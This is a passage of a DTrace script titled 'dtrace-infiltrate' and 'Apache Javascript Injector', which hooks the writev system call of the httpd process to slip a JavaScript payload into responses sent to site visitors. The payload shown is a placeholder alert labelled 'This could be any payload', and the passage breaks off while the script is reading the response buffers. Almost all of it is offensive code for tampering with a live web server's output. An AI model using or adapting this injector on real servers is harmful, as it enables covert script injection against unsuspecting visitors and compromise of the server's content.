dtrace-infiltrate

Apache Javascript Injector
syscall::writev:entry
/execname == "httpd" && self->httpmmaplen/
{
self->PAYLOAD = "alert(\"This could be any payload\");
\x0a\x0d\x0a\x0d\x00";
self->newlen = (long *)alloca(sizeof(long));
self->iovp = arg1;
/* read the pointer to the headers buffer into self->iov */
self->iov = (unsigned long *)copyin((user_addr_t)((char *)self-
>iovp),sizeof(unsigned long));
/* read the length from the iov struct into self->len */
self->len = *(unsigned long *)copyin(self->iovp + sizeof(char *),sizeof(char *));
printf("length: %u\n",self->len);